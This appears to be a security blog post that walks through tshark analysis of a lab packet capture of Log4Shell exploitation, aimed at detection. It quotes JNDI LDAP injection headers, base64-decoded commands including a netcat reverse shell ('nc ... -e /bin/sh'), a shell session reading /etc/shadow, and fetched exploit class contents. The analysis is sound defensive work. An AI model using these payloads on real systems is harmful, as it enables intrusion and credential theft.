Note: If you wish to follow along, the PCAP is on GitHub.
Now that I have a better understanding of the Log4j vulnerability and exploitation from a practical perspective, it is time to detect this activity via packet analysis. Any attack that leaves one host and interacts with another, will leave traces of packets on the wire. The question is, are we collecting those packets.
As with many attacks, we have one or more Indicators of Compromise (IoC) to start our threat hunting or to perform our detection. Let's use the IoC string jndi.
Before running through our pcap to see if jndi is inside, let's take a look at the protocol hierarchy. This is helpful, as it helps us to understand what is in the pcap.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -n -r log4-shell.pcapng -q -z io,phs 2>/dev/null =================================================================== Protocol Hierarchy Statistics Filter: eth frames:7568 bytes:821104 ip frames:7568 bytes:821104 tcp frames:7568 bytes:821104 http frames:1239 bytes:266638 json frames:502 bytes:35642 tcp.segments frames:502 bytes:35642 tcp.segments frames:3 bytes:3871 data-text-lines frames:99 bytes:58437 http frames:1 bytes:257 ldap frames:82 bytes:9105 ===================================================================
Running a strings search against the pcap for jndi.
┌──(rootđź’€securitynik)-[~/log4j] └─# strings --all --print-file-name --bytes 4 --encoding s log4-shell.pcapng | grep jndi | more log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=} log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg== log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==} log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==} log4-shell.pcapng: X-Api-Version: ${jndi:ldap://127.0.0.1:1389} log4-shell.pcapng: User-Agent: ${jndi:ldap://127.0.0.1:1389} ...
Immediately, we see we got some hits.
Looking at the endpoints involved in this pcap, to see if any of our critical (just my definition for this post) assets are being communicated with.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -n -r log4-shell.pcapng -q -z endpoints,ip 2>/dev/null ================================================================================ IPv4 Endpoints Filter:<No Filter> | Packets | | Bytes | | Tx Packets | | Tx Bytes | | Rx Packets | | Rx Bytes | 172.17.0.2 7568 821104 3430 413289 4138 407815 172.17.0.1 7249 790831 3991 392155 3258 398676 192.168.56.102 319 30273 147 15660 172 14613 ================================================================================
Let's assume 172.17.0.2 is our critical asset here.
It is one thing that we know it is seen in the PCAP. However, the question at this time, is who is 172.17.0.2 communicating with? Looking at the IP conversations, can help us answer this question.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -n -r log4-shell.pcapng -q -z conv,ip 2>/dev/null ================================================================================ IPv4 Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 172.17.0.1 <-> 172.17.0.2 3257 398kB 3990 392kB 7247 790kB 0.000000000 5851.6217 172.17.0.2 <-> 192.168.56.102 130 14kB 154 12kB 284 27kB 146.068187000 5726.3420 ================================================================================
Looks like most of the communication with our critical asset, occurred with another host within our 172.17.0.0/16 network. Interesting to see, while the communication between 172.17.0.1 and 172.17.0.2 has more bytes than 172.17.0.2 and 192.168.56.102 and the second communication started 146 seconds after the first, their duration is almost the same.
Looking closer at the TCP conversations.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -n -r log4-shell.pcapng -q -z conv,tcp 2>/dev/null | more ================================================================================ TCP Conversations Filter:<No Filter> | <- | | -> | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 172.17.0.2:37957 <-> 192.168.56.102:80 17 1,176bytes 18 1,938bytes 35 3,114bytes 3353.032935000 254.9447 172.17.0.2:36820 <-> 192.168.56.102:389 8 767bytes 10 831bytes 18 1,598bytes 146.068187000 0.1844 172.17.0.2:36822 <-> 192.168.56.102:389 9 841bytes 9 773bytes 18 1,614bytes 2048.708211000 0.0202 172.17.0.2:36824 <-> 192.168.56.102:389 9 861bytes 9 794bytes 18 1,655bytes 3353.007139000 0.0182 172.17.0.2:36826 <-> 192.168.56.102:389 9 676bytes 9 720bytes 18 1,396bytes 4501.643761000 1370.7665 172.17.0.2:36828 <-> 192.168.56.102:389 9 676bytes 9 720bytes 18 1,396bytes 4577.111093000 1295.2987 172.17.0.2:36830 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 4654.824083000 1217.5853 172.17.0.2:36836 <-> 192.168.56.102:389 9 676bytes 9 720bytes 18 1,396bytes 5247.996745000 624.4122 172.17.0.2:36838 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 5367.879263000 504.5294 172.17.0.2:36840 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 5444.599293000 427.8088 172.17.0.2:36842 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 5479.459163000 392.9482 172.17.0.2:36844 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 5826.303555000 46.1026 172.17.0.2:36846 <-> 192.168.56.102:389 8 610bytes 10 786bytes 18 1,396bytes 5851.567120000 20.8383 172.17.0.2:36832 <-> 192.168.56.102:389 7 703bytes 9 724bytes 16 1,427bytes 4785.376905000 0.0052 172.17.0.2:36834 <-> 192.168.56.102:389 7 703bytes 9 724bytes 16 1,427bytes 5120.703149000 0.0026 172.17.0.1:60592 <-> 172.17.0.2:8080 6 639bytes 7 675bytes 13 1,314bytes 4654.837969000 0.0011 172.17.0.1:60604 <-> 172.17.0.2:8080 6 639bytes 7 676bytes 13 1,315bytes 4654.846317000 0.0010 172.17.0.1:60616 <-> 172.17.0.2:8080 6 639bytes 7 667bytes 13 1,306bytes 4654.852625000 0.0012 172.17.0.1:60632 <-> 172.17.0.2:8080 6 639bytes 7 664bytes 13 1,303bytes 4654.863216000 0. ... 172.17.0.1:60314 <-> 172.17.0.2:8080 5 573bytes 7 556bytes 12 1,129bytes 0.000000000 0.1138 172.17.0.2:51832 <-> 192.168.56.102:443 5 1,632bytes 7 651bytes 12 2,283bytes 146.163688000 10.0357 172.17.0.2:51834 <-> 192.168.56.102:443 5 1,637bytes 7 651bytes 12 2,288bytes 2048.711847000 10.0039 172.17.0.2:51836 <-> 192.168.56.102:443 5 1,652bytes 7 651bytes 12 2,303bytes 3353.013923000 5.0021 ... 172.17.0.1:60271 <-> 172.17.0.2:8080 1 58bytes 2 112bytes 3 170bytes 5851.534341000 0.0000 172.17.0.1:43849 <-> 172.17.0.2:80 1 54bytes 1 58bytes 2 112bytes 4317.066643000 0.0000 172.17.0.1:43849 <-> 172.17.0.2:443 1 54bytes 1 58bytes 2 112bytes 4317.066698000 0.0000 172.17.0.1:43849 <-> 172.17.0.2:389 1 54bytes 1 58bytes 2 112bytes 4317.073452000 0.0000
Any same person, looking at the output above, will want to understand why the connection on port 80 is seen with such a significant larger amount of bytes compared to the other communications. At first glance, this total number of frames is almost twice the next entry, with the total bytes being more than doubled the next three entries. Additionally, this conversation is 254 seconds. When compared with the next 3 entries, this is obviously a concern. However, as we look lower, we see even some of those port 389 communication which 18K frames and 1K+ frames.
In the interest of time and to keep things simple, let's quickly follow 172.17.0.2:37957 <-> 192.168.56.102:80 stream/conversation/session.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80 2>/dev/null | more =================================================================== Follow: tcp,ascii Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo rt eq 37957)) Node 0: 172.17.0.2:37957 Node 1: 192.168.56.102:80 3 ls 4 app 70 bin dev etc home ... whoami 5 root ... uname --all 93 Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux ... cat /etc/shadow 440 root:::0::::: bin:!::0::::: daemon:!::0::::: adm:!::0::::: ....
Above are all signs of a successful compromise. So, when did this activity start. Looking at this from the local time perspective.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(ip.addr == 172.17.0.2) and (tcp.port == 37957) && (ip.addr == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn==1) && !(tcp.flags.ack == 1)' 2>/dev/null | more 140 2021-12-20 14:00:58.987870 172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128
Now that we know when this activity occurred, we need to both look back for historical analysis as well as look forward to learn if this activity is still occurring.
Looking at dates earlier than 2021-12-20 14:00:58.987870 while focusing on our critical server IP 172.117.0.2.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2)' 2>/dev/null | more 2 2021-12-20 13:05:05.954948 172.17.0.2 → 172.17.0.1 TCP 74 8080 → 60314 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419107230 TSecr=4090634673 WS=128 5 2021-12-20 13:05:05.960618 172.17.0.2 → 172.17.0.1 TCP 66 8080 → 60314 [ACK] Seq=1 Ack=87 Win=65152 Len=0 TSval=419107236 TSecr=4090634679 6 2021-12-20 13:05:06.066901 172.17.0.2 → 172.17.0.1 TCP 296 HTTP/1.1 400 [TCP segment of a reassembled PDU] 8 2021-12-20 13:05:06.067574 172.17.0.2 → 172.17.0.1 HTTP/JSON 71 HTTP/1.1 400 , JavaScript Object Notation (application/json) 11 2021-12-20 13:05:06.068740 172.17.0.2 → 172.17.0.1 TCP 66 8080 → 60314 [FIN, ACK] Seq=236 Ack=88 Win=65152 Len=0 TSval=419107344 TSecr=4090634787 14 2021-12-20 13:07:32.008338 172.17.0.2 → 172.17.0.1 TCP 74 8080 → 60316 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419253284 TSecr=4090780727 WS=128 17 2021-12-20 13:07:32.008526 172.17.0.2 → 172.17.0.1 TCP 66 8080 → 60316 [ACK] Seq=1 Ack=183 Win=65024 Len=0 TSval=419253284 TSecr=4090780727 18 2021-12-20 13:07:32.023122 172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128 20 2021-12-20 13:07:32.023151 172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2720869562 TSecr=831471952 21 2021-12-20 13:07:32.025030 172.17.0.2 → 192.168.56.102 LDAP 80 bindRequest(1) "<ROOT>" simple 24 2021-12-20 13:07:32.048350 172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=15 Ack=15 Win=64256 Len=0 TSval=2720869588 TSecr=831471978 ... 124 2021-12-20 14:00:58.968993 172.17.0.2 → 192.168.56.102 HTTP 247 GET /Exploit6HHc3BcVzI.class HTTP/1.1 127 2021-12-20 14:00:58.969642 172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=79 Win=64256 Len=0 TSval=2724076509 TSecr=834678899 129 2021-12-20 14:00:58.969687 172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=1315 Win=64128 Len=0 TSval=2724076509 TSecr=834678899 130 2021-12-20 14:00:58.970953 172.17.0.2 → 192.168.56.102 LDAP 102 unbindRequest(3) 133 2021-12-20 14:00:58.980196 172.17.0.2 → 192.168.56.102 TCP 66 36824 → 389 [FIN, ACK] Seq=193 Ack=261 Win=64128 Len=0 TSval=2724076519 TSecr=834678900 135 2021-12-20 14:00:58.982219 172.17.0.2 → 172.17.0.1 HTTP 193 HTTP/1.1 200 (text/plain) 138 2021-12-20 14:00:58.985545 172.17.0.2 → 172.17.0.1 TCP 66 8080 → 60324 [FIN, ACK] Seq=128 Ack=212 Win=65024 Len=0 TSval=422460261 TSecr=4093987701
We see activity earlier than the time the compromised was confirmed. Let's focus specifically on activity starting up. At this point, we are not sure who is starting the conversation. As in whether it is a compromised internal host or an external threat actor. So let's rework the previous filter. Rather than focus on the (ip.src == 172.17.0.2) we now focus on (ip.addr == 172.17.0.2). Additionally, we look for the TCP SYN flag set.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more 1 2021-12-20 13:05:05.954935 172.17.0.1 → 172.17.0.2 TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128 13 2021-12-20 13:07:32.008320 172.17.0.1 → 172.17.0.2 TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128 18 2021-12-20 13:07:32.023122 172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128 31 2021-12-20 13:07:32.118623 172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128 53 2021-12-20 13:38:30.063458 172.17.0.1 → 172.17.0.2 TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128 63 2021-12-20 13:39:14.661012 172.17.0.1 → 172.17.0.2 TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128 68 2021-12-20 13:39:14.663146 172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128 81 2021-12-20 13:39:14.666782 172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128 103 2021-12-20 14:00:58.960277 172.17.0.1 → 172.17.0.2 TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128 108 2021-12-20 14:00:58.962074 172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128 121 2021-12-20 14:00:58.968858 172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128
With a few results returned, time to look into each of these sessions to understand what transpired. Starting with the one with the earlier date (frame 1 - 2021-12-20 13:05:05) and working our way through to the last one (frame 121 - 2021-12-20 14:00:58).
Frame 1: Activity started on December 20, 2021 at 13:05:05 and resulted in a 400 error. As we can see below there is a "Bad Request"
──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60314,172.17.0.2:8080 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60314) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60314))
Node 0: 172.17.0.1:60314
Node 1: 172.17.0.2:8080
86
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
User-Agent: SecurityNik Testing
230
HTTP/1.1 400
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 20 Dec 2021 18:05:06 GMT
Connection: close
5b
{"timestamp":"2021-12-20T18:05:06.027+00:00","status":400,"error":"Bad Request","path":"/"}
Frame 13 - 2021-12-20 13:07:32 - This activity starts about 2 minutes after the frame 1 activity:
┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60316,172.17.0.2:8080 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60316) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60316))
Node 0: 172.17.0.1:60316
Node 1: 172.17.0.2:8080
182
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
User-Agent: SecurityNik Testing
127
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 18:07:32 GMT
Hello, world!
===================================================================
Knowing this exploit can take advantage of the HTTP Headers and since we know the string jndi is one of our IoCs, we can say we have a direct hit and definitively, this activity seems to be associated with the current Log4J vulnerability. For the header, we see "X-Api-Version" and the base64 encoded content "dG91Y2ggL3RtcC9wd25lZAo=". Decoding this content we get:
┌──(rootđź’€securitynik)-[~/log4j] └─# echo "dG91Y2ggL3RtcC9wd25lZAo=" | base64 --decode touch /tmp/pwned
With the above, we should either now check our host at 172.17.0.2 to see if the file pwned exists in the tmp directory. If it does exist, now would be a good time to activate your incident response plan. If the system was restarted, it is more than likely this file is not there. Also, correlating the timestamp on the end-host with what you have in this packet would be very helpful
Considering what we have above, what do we know so far?
1. We know, based on our pcap that at13:05 on December 20, 2002 the user or process at IP 172.17.0.1 communicated with another one of our internal IP at 172.17.0.2 with a bad request.
2. We know that after the first request, we had a successful request and that a base64 encoded payload was used to create a file on our critical asset at 172.17.0.2. This was done by using the HTTP header X-API-Version and the Java Naming and Directory Interface (JNDI). The remote address our server needs to contact with 192.168.56.102 on port 389. At this point, we will also have to pay attention to activities occurring with this external source 192.168.56.102. Maybe time to activiate your incident response plan.
Continuing our analysis.
Interestingly frames 18 and 31 have almost the same start time on December 20, 2021 at 13:07:32. Additionally, while 172.17.0.1 started the previous session, in this case, our compromised host at 172.17.0.2 is making requests out to the host at 192.168.56.102 on both ports 389 and 443. The 389 makes sense, as it ties into what we saw in the X-API-Version header. However, how did our host come to initiate that connection out to port 443 on the external host?
Frame 18
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36820,192.168.56.102:389 2>/dev/null | more =================================================================== Follow: tcp,ascii Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36820) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst port eq 36820)) Node 0: 172.17.0.2:36820 Node 1: 192.168.56.102:389 14 0....`........ 14 0....a. ...... 113 0o...cM.-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= .. .............objectClass0...0...2.16.840.1.113730.3.4.2 203 0.....d...-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=0..0.. 14 0....e. ...... 36 0"...B...0...2.16.840.1.113730.3.4.2 ===================================================================
This base64 encoded content is the same we saw previously for "touch /tmp/pwned". What about that port 443 traffic in frame 31?
Looking below, we see our system made a request via "Java/1.8.0_181" out to 192.168.56.102 on port 443 to get a resource "/ExploitQ8v7ygBW4i.class". Looking even closer, we also see some interesting strings such as "bin/sh" and "exec". Looking further down we see "touch /tmp/pwned". These are all good IoCs and can be used as part of our signature based tools, such as Snort3 and Zeek, as we will be using soon.
┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51832,192.168.56.102:443 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51832) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51832))
Node 0: 172.17.0.2:51832
Node 1: 192.168.56.102:443
181
GET /ExploitQ8v7ygBW4i.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 18:07:32 GMT
Content-length: 1216
1216
.......2.=...ExploitQ8v7ygBW4i.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...touch /tmp/pwned
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================
Looking at frame 53. 2021-12-20 13:38:30.063458, we are now more more than 33 minutes since this activity began. Following the stream.
┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60318,172.17.0.2:8080 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60318) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60318))
Node 0: 172.17.0.1:60318
Node 1: 172.17.0.2:8080
191
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
}
User-Agent: SecurityNik Testing
590
HTTP/1.1 400
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 435
Date: Mon, 20 Dec 2021 18:38:30 GMT
Connection: close
<!doctype html><html lang="en"><head><title>HTTP Status 400 ... Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;}
h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 ... B
ad Request</h1></body></html>
===================================================================
We see yet another jndi lookup for base64 encoded content. Decoding that contents, we see:
┌──(rootđź’€securitynik)-[~/log4j] └─# echo "d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==" | base64 --decode which nc > /tmp/pwned
Interesting! This is the biggest hint we have had so far, into what might have happened. At this point, we can infer, after successful compromise netcat was executed. While this would be a good assumption, there is no evidence at this point to confirm nc's execution. We only have evidence of it being searched for. Let's dig deeper.
Frame 63 - 2021-12-20 13:39:14.661012. This frame also had base64 encoded content, much like frame 1. Therefore, no need to show it again.
Looking at frames 68 and 81, we see these activities occurred on December 20, 2012 at the same time 13:39:14. More importantly, it follows the same pattern we saw previously, in which our critical server at 172.17.0.2 connects to the external host on port 389, then on port 443 immediately after. This is a very good pattern to use for correlation and is one we will use in our Zeek script.
Frame 68 - 2021-12-20 13:39:14.663146 - This packet is similar to the one in frame 53 that resulted in "which nc > /tmp/pwned"
Frame 81 - 2021-12-20 13:39:14.666782. Looking closely, once again, we see interesting strings such as "/bin/sh" "exec" and "which nc > /tmp/pwned". As before, we also see our critical server actually goes out via Java/1.8.0_181 and makes a GET request GET /ExploitSMMZvT8GXL.class.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51834,192.168.56.102:443 2>/dev/null | more =================================================================== Follow: tcp,ascii Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51834) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst port eq 51834)) Node 0: 172.17.0.2:51834 Node 1: 192.168.56.102:443 181 GET /ExploitSMMZvT8GXL.class HTTP/1.1 User-Agent: Java/1.8.0_181 Host: 192.168.56.102:443 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive 78 HTTP/1.1 200 OK Date: Mon, 20 Dec 2021 18:39:14 GMT Content-length: 1221 1221 .......2.=...ExploitSMMZvT8GXL.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........ .......java/io/File.. ......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%.. getRuntime...()Ljava/lang/Runtime;..'.( .&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+., .&.-...printStackTrace../.. . .0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/ sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...which nc > /tmp/pwned ..8...Code.. Exceptions.!......... .................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G. ...;........'............$J.. ....2.3...:... ===================================================================
We then see frames 103, 108 and 121 all having the same time of 14:00 hours on December 20, 2021. Additionally, we see the port 8080 communication, followed by port 389, then port 443.
Frame 103 - 2021-12-20 14:00:58.960277 - Once again, our internal host communicating with our critical server on port 8080. Following the stream, we see.
┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60324,172.17.0.2:8080 2>/dev/null | more
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60324) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60324))
Node 0: 172.17.0.1:60324
Node 1: 172.17.0.2:8080
210
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
User-Agent: SecurityNik Testing
127
HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 19:00:58 GMT
Hello, world!
===================================================================
Decoding the base64 encoded content, we get:
┌──(rootđź’€securitynik)-[~/log4j] └─# echo "bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==" | base64 --decode nc 192.168.56.102 80 -e /bin/sh -vvv
Now the flames are burning. Previously, we saw the "which nc" command executed, suggesting our threat actor was attempting to live off the land (LOL) by using native binaries. This base64 decoded content means the flames are burning hotter, suggesting that the threat actor might have gained shell via ncat. Interestingly also, we see the 192.168.56.102 which we have seen multiple times. However, when we looked previously for communication which was starting up, we did not see activity returning for port 80. This was the filter used previously.
┌──(rootđź’€securitynik)-[~/log4j] └─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more
I wonder what I missed. Good thing is, even if I missed, it, I still have that visibility by following an iterative process of going through each of the previously returned sessions, rather than simply glossing over them. Let's wrap up the final two records here so we can confirm or dwell time or the time to detect, assuming that it is the large transaction on port 80 that caused our concern.
Frame 108 - 2021-12-20 14:00:58.962074 - The LDAP lookup for the malicious content. When decoded, this returns the same output we saw that sets up netcat to connect to the remote host.
